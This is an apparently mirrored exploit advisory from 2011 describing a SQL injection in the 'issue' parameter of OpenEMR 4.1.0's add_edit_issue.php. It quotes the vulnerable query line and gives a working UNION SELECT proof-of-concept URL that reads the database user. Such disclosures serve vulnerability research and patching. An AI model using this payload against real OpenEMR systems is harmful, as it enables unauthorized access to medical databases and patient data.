Lucene search
K

Openemr 4.1.0 SQL Injection

🗓️ 19 Oct 2011 00:00:00Reported by I2sec-dae jin OhType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

A SQL injection vulnerability in Openemr 4.1.0 allows attackers to execute arbitrary SQL commands via the "issue" parameter in add_edit_issue.php, potentially compromising the database

Code
`# Exploit Title: [Openemr-4.1.0 SQL injection Vulnerability]  
# Date: [2011/10/18]  
# Author: [I2sec-dae jin Oh]  
# Software Link: [http://sourceforge.net/projects/openemr/files/OpenEMR%20Current/4.1.0/openemr-4.1.0.zip/download]  
# Vendor : www.open-emr.com  
# Version: [Openemr-4.1.0]  
# Tested on: [Windows 7]  
---------------------------------------  
source of : /interface/patient_file/summary/add_edit_issue.php:  
  
$irow = array();  
if ($issue)  
$irow = sqlQuery("SELECT * FROM lists WHERE id = $issue");; <--------------------- SQL injection  
else if ($thistype)  
$irow['type'] = $thistype  
proof of concept:  
http://[attack url]/interface/patient_file/summary/add_edit_issue.php?issue=0+union  
+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation